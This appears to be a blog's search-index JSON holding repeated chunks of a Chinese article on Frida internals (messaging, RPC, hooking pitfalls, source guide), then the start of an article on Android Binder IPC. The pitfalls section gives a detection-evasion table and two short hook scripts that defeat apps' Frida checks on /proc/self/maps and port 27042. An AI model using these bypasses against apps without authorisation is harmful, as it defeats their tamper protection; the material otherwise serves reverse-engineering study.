2.0 限制 ~480Mbps）、V8 GC 暂停。 性能优化建议 // 避免: 每次调用都 send Interceptor.attach(target, { onEnter: function(args) { send({a: args[0].toInt32()}); } }); // 推荐: 批量发送 var buf = []; Interceptor.attach(target, { onEnter: function(args) { buf.push(args[0].toInt32()); if (buf.length \u003e= 100) { send({batch: buf}); buf = []; } } }); // 大数据用二进制格式 (第二参数) send({type: \"dump\"}, Memory.readByteArray(addr, 1024)); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:8","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#rpc-调用流程"},{"categories":null,"collections":null,"content":"通信机制 消息路径 send(msg, data) -\u003e V8 序列化 -\u003e GumMessage -\u003e DBus 编码 [JS] [Agent] [frida-core] [IPC] | Unix/TCP Socket | frida-server -\u003e TCP/USB -\u003e Client on_message(msg, data) RPC 调用流程 // Agent 端 rpc.exports = { add: function(a, b) { return a + b; } }; # Client 端 result = script.exports_sync.add(1, 2) # =\u003e 3 内部实现：Client 发送 [\"frida:rpc\", id, \"call\", \"add\", [1, 2]]，Agent 执行后返回 [\"frida:rpc\", id, \"ok\", 3]，通过 request_id 匹配。 性能参考数据 操作 典型延迟 吞吐量 send() 小消息 (\u003c 1KB) ~0.1ms ~10000 msg/s send() 大消息 (1MB) ~5ms ~200 MB/s RPC 调用 (简单返回) ~1ms ~1000 call/s RPC + 二进制数据 (1MB) ~10ms ~100 MB/s 瓶颈主要来自：JSON 序列化（CPU 密集）、USB 传输（USB 2.0 限制 ~480Mbps）、V8 GC 暂停。 性能优化建议 // 避免: 每次调用都 send Interceptor.attach(target, { onEnter: function(args) { send({a: args[0].toInt32()}); } }); // 推荐: 批量发送 var buf = []; Interceptor.attach(target, { onEnter: function(args) { buf.push(args[0].toInt32()); if (buf.length \u003e= 100) { send({batch: buf}); buf = []; } } }); // 大数据用二进制格式 (第二参数) send({type: \"dump\"}, Memory.readByteArray(addr, 1024)); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:8","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#性能参考数据"},{"categories":null,"collections":null,"content":"通信机制 消息路径 send(msg, data) -\u003e V8 序列化 -\u003e GumMessage -\u003e DBus 编码 [JS] [Agent] [frida-core] [IPC] | Unix/TCP Socket | frida-server -\u003e TCP/USB -\u003e Client on_message(msg, data) RPC 调用流程 // Agent 端 rpc.exports = { add: function(a, b) { return a + b; } }; # Client 端 result = script.exports_sync.add(1, 2) # =\u003e 3 内部实现：Client 发送 [\"frida:rpc\", id, \"call\", \"add\", [1, 2]]，Agent 执行后返回 [\"frida:rpc\", id, \"ok\", 3]，通过 request_id 匹配。 性能参考数据 操作 典型延迟 吞吐量 send() 小消息 (\u003c 1KB) ~0.1ms ~10000 msg/s send() 大消息 (1MB) ~5ms ~200 MB/s RPC 调用 (简单返回) ~1ms ~1000 call/s RPC + 二进制数据 (1MB) ~10ms ~100 MB/s 瓶颈主要来自：JSON 序列化（CPU 密集）、USB 传输（USB 2.0 限制 ~480Mbps）、V8 GC 暂停。 性能优化建议 // 避免: 每次调用都 send Interceptor.attach(target, { onEnter: function(args) { send({a: args[0].toInt32()}); } }); // 推荐: 批量发送 var buf = []; Interceptor.attach(target, { onEnter: function(args) { buf.push(args[0].toInt32()); if (buf.length \u003e= 100) { send({batch: buf}); buf = []; } } }); // 大数据用二进制格式 (第二参数) send({type: \"dump\"}, Memory.readByteArray(addr, 1024)); ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:8","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#性能优化建议"},{"categories":null,"collections":null,"content":"与其他框架对比 维度 Frida Xposed/LSPosed eBPF Hook 层面 Native 指令 + Java ART Java 方法级 内核函数 + syscall 注入方式 ptrace + dlopen 修改 Zygote (Zygisk) bpf() 系统调用 粒度 指令级 (Stalker) / 函数级 方法级 函数入口/出口 运行时 V8/QuickJS ART eBPF VM (受限) 持久性 非持久 持久 (Magisk 模块) 非持久 性能开销 中-高 低 极低 隐蔽性 较易检测 较易检测 几乎不可检测 核心差异：Xposed 修改的是 ART 虚拟机中 ArtMethod 的 entry_point 指针（Java 层面），而 Frida 直接修改机器码指令（Native 层面）。eBPF 则在内核中运行受限程序，通过 kprobe/uprobe 探针工作。 选择建议：Frida 的灵活性和交互性使它成为逆向分析的首选。需要永久性修改时用 Xposed/LSPosed。eBPF 适合内核行为分析和性能诊断。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:9","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#与其他框架对比"},{"categories":null,"collections":null,"content":"已知限制与陷阱 竞态条件 Hook 安装时，如果某线程正好执行到被覆盖的函数头部中间位置，可能导致执行半条指令而崩溃。Frida 在 ARM64 上使用原子写入（STP 一次写 16 字节）来尽量避免，但不能保证 100% 无竞态。 反检测向量 检测方式 原理 绕过思路 端口扫描 检测 27042 端口 frida-server -l 0.0.0.0:PORT 改端口 进程名 搜索 “frida-server” 重命名二进制 /proc/self/maps 搜索 “frida-agent” Hook open/read 过滤 函数完整性 检查函数头是否被修改 用 PLT/GOT Hook 或 Hook 检测函数本身 线程名 搜索 “gmain”/“gdbus” 线程 Hook 线程枚举相关函数 D-Bus 探测 向 socket 发 D-Bus 握手 修改通信协议 Inline Hook 检测 检查函数入口是否为 LDR X16,#8 (0x58000050) 使用替代跳转指令 常见绕过模板： // 绕过 /proc/self/maps 检测 var openPtr = Module.findExportByName(null, \"open\"); Interceptor.attach(openPtr, { onEnter: function(args) { var path = args[0].readUtf8String(); if (path \u0026\u0026 path.indexOf(\"maps\") !== -1) this.filterMaps = true; }, onLeave: function(retval) { // 可进一步 Hook read() 过滤包含 \"frida\" 的行 } }); // 绕过端口扫描 Interceptor.attach(Module.findExportByName(null, \"connect\"), { onEnter: function(args) { var port = args[1].add(2).readU16(); port = ((port \u0026 0xFF) \u003c\u003c 8) | ((port \u003e\u003e 8) \u0026 0xFF); // ntohs if (port === 27042) args[1].add(2).writeU16(0); // 改端口使连接失败 } }); 常见崩溃与排查 信号 常见原因 排查 SIGSEGV Hook 了已卸载的 .so 检查模块是否仍在内存中 SIGBUS 内存未对齐访问 确认 readU32 地址 4 字节对齐 SIGILL 指令重定位错误 尝试更新 Frida 版本 死锁 onEnter 调用了持有锁的函数 避免阻塞操作 OOM Stalker 缓存过大 缩小跟踪范围，及时 unfollow 实践注意事项 不要在回调中做耗时操作 - 回调在目标线程同步执行，会拖慢应用 Spawn 模式下先 Hook 再 resume - 确保 script.load() 完成后再 device.resume() 多进程应用 - Android 应用可能有多个进程（如 WebView），每个需单独注入，可用 child_gating 自动跟踪 NativeFunction 与死锁 - 在 onEnter 中通过 NativeFunction 调用的函数如果内部持有锁，可能与当前被 Hook 函数产生死锁 C++ 构造/析构函数风险 - Hook 后若 onEnter 抛出异常，对象可能处于未完全初始化状态，析构函数类似可能导致资源泄漏 V8 JIT 与 W^X 策略 - 某些加固的 Android ROM 启用了严格的 W^X（可写与可执行互斥），可能导致 V8 JIT 和 Stalker 代码缓存分配失败，此时考虑使用 QuickJS 运行时 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:10","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#已知限制与陷阱"},{"categories":null,"collections":null,"content":"已知限制与陷阱 竞态条件 Hook 安装时，如果某线程正好执行到被覆盖的函数头部中间位置，可能导致执行半条指令而崩溃。Frida 在 ARM64 上使用原子写入（STP 一次写 16 字节）来尽量避免，但不能保证 100% 无竞态。 反检测向量 检测方式 原理 绕过思路 端口扫描 检测 27042 端口 frida-server -l 0.0.0.0:PORT 改端口 进程名 搜索 “frida-server” 重命名二进制 /proc/self/maps 搜索 “frida-agent” Hook open/read 过滤 函数完整性 检查函数头是否被修改 用 PLT/GOT Hook 或 Hook 检测函数本身 线程名 搜索 “gmain”/“gdbus” 线程 Hook 线程枚举相关函数 D-Bus 探测 向 socket 发 D-Bus 握手 修改通信协议 Inline Hook 检测 检查函数入口是否为 LDR X16,#8 (0x58000050) 使用替代跳转指令 常见绕过模板： // 绕过 /proc/self/maps 检测 var openPtr = Module.findExportByName(null, \"open\"); Interceptor.attach(openPtr, { onEnter: function(args) { var path = args[0].readUtf8String(); if (path \u0026\u0026 path.indexOf(\"maps\") !== -1) this.filterMaps = true; }, onLeave: function(retval) { // 可进一步 Hook read() 过滤包含 \"frida\" 的行 } }); // 绕过端口扫描 Interceptor.attach(Module.findExportByName(null, \"connect\"), { onEnter: function(args) { var port = args[1].add(2).readU16(); port = ((port \u0026 0xFF) \u003c\u003c 8) | ((port \u003e\u003e 8) \u0026 0xFF); // ntohs if (port === 27042) args[1].add(2).writeU16(0); // 改端口使连接失败 } }); 常见崩溃与排查 信号 常见原因 排查 SIGSEGV Hook 了已卸载的 .so 检查模块是否仍在内存中 SIGBUS 内存未对齐访问 确认 readU32 地址 4 字节对齐 SIGILL 指令重定位错误 尝试更新 Frida 版本 死锁 onEnter 调用了持有锁的函数 避免阻塞操作 OOM Stalker 缓存过大 缩小跟踪范围，及时 unfollow 实践注意事项 不要在回调中做耗时操作 - 回调在目标线程同步执行，会拖慢应用 Spawn 模式下先 Hook 再 resume - 确保 script.load() 完成后再 device.resume() 多进程应用 - Android 应用可能有多个进程（如 WebView），每个需单独注入，可用 child_gating 自动跟踪 NativeFunction 与死锁 - 在 onEnter 中通过 NativeFunction 调用的函数如果内部持有锁，可能与当前被 Hook 函数产生死锁 C++ 构造/析构函数风险 - Hook 后若 onEnter 抛出异常，对象可能处于未完全初始化状态，析构函数类似可能导致资源泄漏 V8 JIT 与 W^X 策略 - 某些加固的 Android ROM 启用了严格的 W^X（可写与可执行互斥），可能导致 V8 JIT 和 Stalker 代码缓存分配失败，此时考虑使用 QuickJS 运行时 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:10","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#竞态条件"},{"categories":null,"collections":null,"content":"已知限制与陷阱 竞态条件 Hook 安装时，如果某线程正好执行到被覆盖的函数头部中间位置，可能导致执行半条指令而崩溃。Frida 在 ARM64 上使用原子写入（STP 一次写 16 字节）来尽量避免，但不能保证 100% 无竞态。 反检测向量 检测方式 原理 绕过思路 端口扫描 检测 27042 端口 frida-server -l 0.0.0.0:PORT 改端口 进程名 搜索 “frida-server” 重命名二进制 /proc/self/maps 搜索 “frida-agent” Hook open/read 过滤 函数完整性 检查函数头是否被修改 用 PLT/GOT Hook 或 Hook 检测函数本身 线程名 搜索 “gmain”/“gdbus” 线程 Hook 线程枚举相关函数 D-Bus 探测 向 socket 发 D-Bus 握手 修改通信协议 Inline Hook 检测 检查函数入口是否为 LDR X16,#8 (0x58000050) 使用替代跳转指令 常见绕过模板： // 绕过 /proc/self/maps 检测 var openPtr = Module.findExportByName(null, \"open\"); Interceptor.attach(openPtr, { onEnter: function(args) { var path = args[0].readUtf8String(); if (path \u0026\u0026 path.indexOf(\"maps\") !== -1) this.filterMaps = true; }, onLeave: function(retval) { // 可进一步 Hook read() 过滤包含 \"frida\" 的行 } }); // 绕过端口扫描 Interceptor.attach(Module.findExportByName(null, \"connect\"), { onEnter: function(args) { var port = args[1].add(2).readU16(); port = ((port \u0026 0xFF) \u003c\u003c 8) | ((port \u003e\u003e 8) \u0026 0xFF); // ntohs if (port === 27042) args[1].add(2).writeU16(0); // 改端口使连接失败 } }); 常见崩溃与排查 信号 常见原因 排查 SIGSEGV Hook 了已卸载的 .so 检查模块是否仍在内存中 SIGBUS 内存未对齐访问 确认 readU32 地址 4 字节对齐 SIGILL 指令重定位错误 尝试更新 Frida 版本 死锁 onEnter 调用了持有锁的函数 避免阻塞操作 OOM Stalker 缓存过大 缩小跟踪范围，及时 unfollow 实践注意事项 不要在回调中做耗时操作 - 回调在目标线程同步执行，会拖慢应用 Spawn 模式下先 Hook 再 resume - 确保 script.load() 完成后再 device.resume() 多进程应用 - Android 应用可能有多个进程（如 WebView），每个需单独注入，可用 child_gating 自动跟踪 NativeFunction 与死锁 - 在 onEnter 中通过 NativeFunction 调用的函数如果内部持有锁，可能与当前被 Hook 函数产生死锁 C++ 构造/析构函数风险 - Hook 后若 onEnter 抛出异常，对象可能处于未完全初始化状态，析构函数类似可能导致资源泄漏 V8 JIT 与 W^X 策略 - 某些加固的 Android ROM 启用了严格的 W^X（可写与可执行互斥），可能导致 V8 JIT 和 Stalker 代码缓存分配失败，此时考虑使用 QuickJS 运行时 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:10","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#反检测向量"},{"categories":null,"collections":null,"content":"已知限制与陷阱 竞态条件 Hook 安装时，如果某线程正好执行到被覆盖的函数头部中间位置，可能导致执行半条指令而崩溃。Frida 在 ARM64 上使用原子写入（STP 一次写 16 字节）来尽量避免，但不能保证 100% 无竞态。 反检测向量 检测方式 原理 绕过思路 端口扫描 检测 27042 端口 frida-server -l 0.0.0.0:PORT 改端口 进程名 搜索 “frida-server” 重命名二进制 /proc/self/maps 搜索 “frida-agent” Hook open/read 过滤 函数完整性 检查函数头是否被修改 用 PLT/GOT Hook 或 Hook 检测函数本身 线程名 搜索 “gmain”/“gdbus” 线程 Hook 线程枚举相关函数 D-Bus 探测 向 socket 发 D-Bus 握手 修改通信协议 Inline Hook 检测 检查函数入口是否为 LDR X16,#8 (0x58000050) 使用替代跳转指令 常见绕过模板： // 绕过 /proc/self/maps 检测 var openPtr = Module.findExportByName(null, \"open\"); Interceptor.attach(openPtr, { onEnter: function(args) { var path = args[0].readUtf8String(); if (path \u0026\u0026 path.indexOf(\"maps\") !== -1) this.filterMaps = true; }, onLeave: function(retval) { // 可进一步 Hook read() 过滤包含 \"frida\" 的行 } }); // 绕过端口扫描 Interceptor.attach(Module.findExportByName(null, \"connect\"), { onEnter: function(args) { var port = args[1].add(2).readU16(); port = ((port \u0026 0xFF) \u003c\u003c 8) | ((port \u003e\u003e 8) \u0026 0xFF); // ntohs if (port === 27042) args[1].add(2).writeU16(0); // 改端口使连接失败 } }); 常见崩溃与排查 信号 常见原因 排查 SIGSEGV Hook 了已卸载的 .so 检查模块是否仍在内存中 SIGBUS 内存未对齐访问 确认 readU32 地址 4 字节对齐 SIGILL 指令重定位错误 尝试更新 Frida 版本 死锁 onEnter 调用了持有锁的函数 避免阻塞操作 OOM Stalker 缓存过大 缩小跟踪范围，及时 unfollow 实践注意事项 不要在回调中做耗时操作 - 回调在目标线程同步执行，会拖慢应用 Spawn 模式下先 Hook 再 resume - 确保 script.load() 完成后再 device.resume() 多进程应用 - Android 应用可能有多个进程（如 WebView），每个需单独注入，可用 child_gating 自动跟踪 NativeFunction 与死锁 - 在 onEnter 中通过 NativeFunction 调用的函数如果内部持有锁，可能与当前被 Hook 函数产生死锁 C++ 构造/析构函数风险 - Hook 后若 onEnter 抛出异常，对象可能处于未完全初始化状态，析构函数类似可能导致资源泄漏 V8 JIT 与 W^X 策略 - 某些加固的 Android ROM 启用了严格的 W^X（可写与可执行互斥），可能导致 V8 JIT 和 Stalker 代码缓存分配失败，此时考虑使用 QuickJS 运行时 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:10","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#常见崩溃与排查"},{"categories":null,"collections":null,"content":"已知限制与陷阱 竞态条件 Hook 安装时，如果某线程正好执行到被覆盖的函数头部中间位置，可能导致执行半条指令而崩溃。Frida 在 ARM64 上使用原子写入（STP 一次写 16 字节）来尽量避免，但不能保证 100% 无竞态。 反检测向量 检测方式 原理 绕过思路 端口扫描 检测 27042 端口 frida-server -l 0.0.0.0:PORT 改端口 进程名 搜索 “frida-server” 重命名二进制 /proc/self/maps 搜索 “frida-agent” Hook open/read 过滤 函数完整性 检查函数头是否被修改 用 PLT/GOT Hook 或 Hook 检测函数本身 线程名 搜索 “gmain”/“gdbus” 线程 Hook 线程枚举相关函数 D-Bus 探测 向 socket 发 D-Bus 握手 修改通信协议 Inline Hook 检测 检查函数入口是否为 LDR X16,#8 (0x58000050) 使用替代跳转指令 常见绕过模板： // 绕过 /proc/self/maps 检测 var openPtr = Module.findExportByName(null, \"open\"); Interceptor.attach(openPtr, { onEnter: function(args) { var path = args[0].readUtf8String(); if (path \u0026\u0026 path.indexOf(\"maps\") !== -1) this.filterMaps = true; }, onLeave: function(retval) { // 可进一步 Hook read() 过滤包含 \"frida\" 的行 } }); // 绕过端口扫描 Interceptor.attach(Module.findExportByName(null, \"connect\"), { onEnter: function(args) { var port = args[1].add(2).readU16(); port = ((port \u0026 0xFF) \u003c\u003c 8) | ((port \u003e\u003e 8) \u0026 0xFF); // ntohs if (port === 27042) args[1].add(2).writeU16(0); // 改端口使连接失败 } }); 常见崩溃与排查 信号 常见原因 排查 SIGSEGV Hook 了已卸载的 .so 检查模块是否仍在内存中 SIGBUS 内存未对齐访问 确认 readU32 地址 4 字节对齐 SIGILL 指令重定位错误 尝试更新 Frida 版本 死锁 onEnter 调用了持有锁的函数 避免阻塞操作 OOM Stalker 缓存过大 缩小跟踪范围，及时 unfollow 实践注意事项 不要在回调中做耗时操作 - 回调在目标线程同步执行，会拖慢应用 Spawn 模式下先 Hook 再 resume - 确保 script.load() 完成后再 device.resume() 多进程应用 - Android 应用可能有多个进程（如 WebView），每个需单独注入，可用 child_gating 自动跟踪 NativeFunction 与死锁 - 在 onEnter 中通过 NativeFunction 调用的函数如果内部持有锁，可能与当前被 Hook 函数产生死锁 C++ 构造/析构函数风险 - Hook 后若 onEnter 抛出异常，对象可能处于未完全初始化状态，析构函数类似可能导致资源泄漏 V8 JIT 与 W^X 策略 - 某些加固的 Android ROM 启用了严格的 W^X（可写与可执行互斥），可能导致 V8 JIT 和 Stalker 代码缓存分配失败，此时考虑使用 QuickJS 运行时 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:10","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#实践注意事项"},{"categories":null,"collections":null,"content":"源码导读 仓库关键文件 frida-gum/gum/ guminterceptor.c Interceptor 核心逻辑 guminterceptor-arm64.c ARM64 trampoline 生成 gumstalker-arm64.c ARM64 Stalker (6000+ 行，最复杂) gummemory.c 内存管理 gumarm64writer.c ARM64 代码生成器 gumarm64relocator.c ARM64 指令重定位器 bindings/gumjs/ gumv8interceptor.cpp Interceptor 的 JS 绑定 gumv8stalker.cpp Stalker 的 JS 绑定 frida-core/src/ linux/helpers/inject-context.c ptrace 注入实现 linux/linux-host-session.vala Session 管理 agent/agent.vala Agent 入口与生命周期 推荐阅读路径 路径 1 - 理解 Hook：guminterceptor.h (接口) -\u003e guminterceptor.c (平台无关逻辑) -\u003e guminterceptor-arm64.c (trampoline 生成) -\u003e gumarm64writer.c + gumarm64relocator.c (代码生成与重定位) 路径 2 - 理解注入：linux-host-session.vala (Session 创建) -\u003e inject-context.c (ptrace 注入) -\u003e agent.vala (Agent 初始化) 路径 3 - 理解 Stalker：gumstalker.h (接口) -\u003e gumstalker-arm64.c 分段阅读：gum_stalker_follow_me (入口) -\u003e gum_exec_ctx_obtain_block_for (翻译) -\u003e gum_exec_block_virtualize_*_insn (指令处理) 调试技巧：在源码中添加 g_print() 后重新编译 frida-server 推送到设备，通过 stdout 或 adb logcat 观察内部行为，是理解 Frida 机制最直接的方式。 从源码构建 git clone --recurse-submodules https://github.com/frida/frida.git cd frida # 构建 Android ARM64 的 frida-server make server-android-arm64 # 输出: build/frida-android-arm64/bin/frida-server ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:11","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#源码导读"},{"categories":null,"collections":null,"content":"源码导读 仓库关键文件 frida-gum/gum/ guminterceptor.c Interceptor 核心逻辑 guminterceptor-arm64.c ARM64 trampoline 生成 gumstalker-arm64.c ARM64 Stalker (6000+ 行，最复杂) gummemory.c 内存管理 gumarm64writer.c ARM64 代码生成器 gumarm64relocator.c ARM64 指令重定位器 bindings/gumjs/ gumv8interceptor.cpp Interceptor 的 JS 绑定 gumv8stalker.cpp Stalker 的 JS 绑定 frida-core/src/ linux/helpers/inject-context.c ptrace 注入实现 linux/linux-host-session.vala Session 管理 agent/agent.vala Agent 入口与生命周期 推荐阅读路径 路径 1 - 理解 Hook：guminterceptor.h (接口) -\u003e guminterceptor.c (平台无关逻辑) -\u003e guminterceptor-arm64.c (trampoline 生成) -\u003e gumarm64writer.c + gumarm64relocator.c (代码生成与重定位) 路径 2 - 理解注入：linux-host-session.vala (Session 创建) -\u003e inject-context.c (ptrace 注入) -\u003e agent.vala (Agent 初始化) 路径 3 - 理解 Stalker：gumstalker.h (接口) -\u003e gumstalker-arm64.c 分段阅读：gum_stalker_follow_me (入口) -\u003e gum_exec_ctx_obtain_block_for (翻译) -\u003e gum_exec_block_virtualize_*_insn (指令处理) 调试技巧：在源码中添加 g_print() 后重新编译 frida-server 推送到设备，通过 stdout 或 adb logcat 观察内部行为，是理解 Frida 机制最直接的方式。 从源码构建 git clone --recurse-submodules https://github.com/frida/frida.git cd frida # 构建 Android ARM64 的 frida-server make server-android-arm64 # 输出: build/frida-android-arm64/bin/frida-server ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:11","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#仓库关键文件"},{"categories":null,"collections":null,"content":"源码导读 仓库关键文件 frida-gum/gum/ guminterceptor.c Interceptor 核心逻辑 guminterceptor-arm64.c ARM64 trampoline 生成 gumstalker-arm64.c ARM64 Stalker (6000+ 行，最复杂) gummemory.c 内存管理 gumarm64writer.c ARM64 代码生成器 gumarm64relocator.c ARM64 指令重定位器 bindings/gumjs/ gumv8interceptor.cpp Interceptor 的 JS 绑定 gumv8stalker.cpp Stalker 的 JS 绑定 frida-core/src/ linux/helpers/inject-context.c ptrace 注入实现 linux/linux-host-session.vala Session 管理 agent/agent.vala Agent 入口与生命周期 推荐阅读路径 路径 1 - 理解 Hook：guminterceptor.h (接口) -\u003e guminterceptor.c (平台无关逻辑) -\u003e guminterceptor-arm64.c (trampoline 生成) -\u003e gumarm64writer.c + gumarm64relocator.c (代码生成与重定位) 路径 2 - 理解注入：linux-host-session.vala (Session 创建) -\u003e inject-context.c (ptrace 注入) -\u003e agent.vala (Agent 初始化) 路径 3 - 理解 Stalker：gumstalker.h (接口) -\u003e gumstalker-arm64.c 分段阅读：gum_stalker_follow_me (入口) -\u003e gum_exec_ctx_obtain_block_for (翻译) -\u003e gum_exec_block_virtualize_*_insn (指令处理) 调试技巧：在源码中添加 g_print() 后重新编译 frida-server 推送到设备，通过 stdout 或 adb logcat 观察内部行为，是理解 Frida 机制最直接的方式。 从源码构建 git clone --recurse-submodules https://github.com/frida/frida.git cd frida # 构建 Android ARM64 的 frida-server make server-android-arm64 # 输出: build/frida-android-arm64/bin/frida-server ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:11","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#推荐阅读路径"},{"categories":null,"collections":null,"content":"源码导读 仓库关键文件 frida-gum/gum/ guminterceptor.c Interceptor 核心逻辑 guminterceptor-arm64.c ARM64 trampoline 生成 gumstalker-arm64.c ARM64 Stalker (6000+ 行，最复杂) gummemory.c 内存管理 gumarm64writer.c ARM64 代码生成器 gumarm64relocator.c ARM64 指令重定位器 bindings/gumjs/ gumv8interceptor.cpp Interceptor 的 JS 绑定 gumv8stalker.cpp Stalker 的 JS 绑定 frida-core/src/ linux/helpers/inject-context.c ptrace 注入实现 linux/linux-host-session.vala Session 管理 agent/agent.vala Agent 入口与生命周期 推荐阅读路径 路径 1 - 理解 Hook：guminterceptor.h (接口) -\u003e guminterceptor.c (平台无关逻辑) -\u003e guminterceptor-arm64.c (trampoline 生成) -\u003e gumarm64writer.c + gumarm64relocator.c (代码生成与重定位) 路径 2 - 理解注入：linux-host-session.vala (Session 创建) -\u003e inject-context.c (ptrace 注入) -\u003e agent.vala (Agent 初始化) 路径 3 - 理解 Stalker：gumstalker.h (接口) -\u003e gumstalker-arm64.c 分段阅读：gum_stalker_follow_me (入口) -\u003e gum_exec_ctx_obtain_block_for (翻译) -\u003e gum_exec_block_virtualize_*_insn (指令处理) 调试技巧：在源码中添加 g_print() 后重新编译 frida-server 推送到设备，通过 stdout 或 adb logcat 观察内部行为，是理解 Frida 机制最直接的方式。 从源码构建 git clone --recurse-submodules https://github.com/frida/frida.git cd frida # 构建 Android ARM64 的 frida-server make server-android-arm64 # 输出: build/frida-android-arm64/bin/frida-server ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:11","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#从源码构建"},{"categories":null,"collections":null,"content":"总结 Frida 知识体系： [Frida 核心原理] | +------------------+------------------+ | | | [注入机制] [Hook 引擎] [通信架构] ptrace/dlopen Interceptor DBus IPC SELinux/Gadget Stalker/DBT RPC/send | | | +--------+---------+--------+--------+ | | [底层细节] [实际应用] ARM64 trampoline 反检测绕过 指令重定位 代码覆盖率 代码缓存 算法分析 内存管理 动态修补 掌握这些底层原理后，Frida 不再是\"黑盒\"工具。当你遇到 Hook 失败、进程崩溃或性能问题时，这些知识将帮助你快速定位原因并找到解决方案。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:12","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#总结"},{"categories":null,"collections":null,"content":"Android Binder 跨进程通信机制 Binder 是 Android 系统中最核心、最独特的 IPC（Inter-Process Communication，跨进程通信）机制。可以说：无 Binder，不 Android。 理解 Binder 不能只把它当成一个\"技术\"，而要把它看作一种架构设计。 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:0:0","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#android-binder-跨进程通信机制"},{"categories":null,"collections":null,"content":"1. 为什么需要 Binder 在 Linux 系统中，已经有了管道 (Pipe)、Socket、共享内存、信号量等 IPC 机制，为什么 Google 还要重新造一个轮子？ ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:1:0","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#1-为什么需要-binder"},{"categories":null,"collections":null,"content":"1.1 传统 IPC 的问题 IPC 机制 数据拷贝次数 优点 缺点 管道 (Pipe) 2 次 简单 单向、效率低 Socket 2 次 通用、可跨网络 效率低、开销大 共享内存 0 次 效率最高 同步复杂、不安全 信号量 - 同步原语 只能传信号 Binder 1 次 高效、安全、易用 Android 特有 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:1:1","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#11-传统-ipc-的问题"},{"categories":null,"collections":null,"content":"1.2 Binder 的优势 性能 (Performance)： Socket 传输效率低（数据拷贝 2 次） 共享内存虽然快（拷贝 0 次）但管理复杂且不安全 Binder 只需 1 次拷贝，完全满足移动端高频调用需求 安全 (Security)： 传统 Linux IPC 对通信双方的身份校验较弱（通常依赖 UID/GID） Binder 机制支持实名制，内核层直接校验 UID/PID 适合权限分明的 Android App 沙箱模型 面向对象 (Object-Oriented)： Android 的设计理念是组件化（Activity, Service） Binder 天然支持 RPC（远程过程调用） 跨进程调用函数就像调用本地对象的方法一样自然 ","date":"2024-07-08","objectID":"/reverse_engineering/android/04-reference/foundations/binder_ipc/:1:2","tags":["Native层","代理池","Frida","基础知识","Hook","Smali"],"title":"Android Binder 跨进程通信机制","uri":"/reverse_engineering/android/04-reference/foundations/binder_ipc/#12-binder-的优势"},{"categories":null,"collections":null,"content":"2. Binder 架构：四要素 Binder 采用 C/S (Client-Server) 架构，包含四个关键角色： 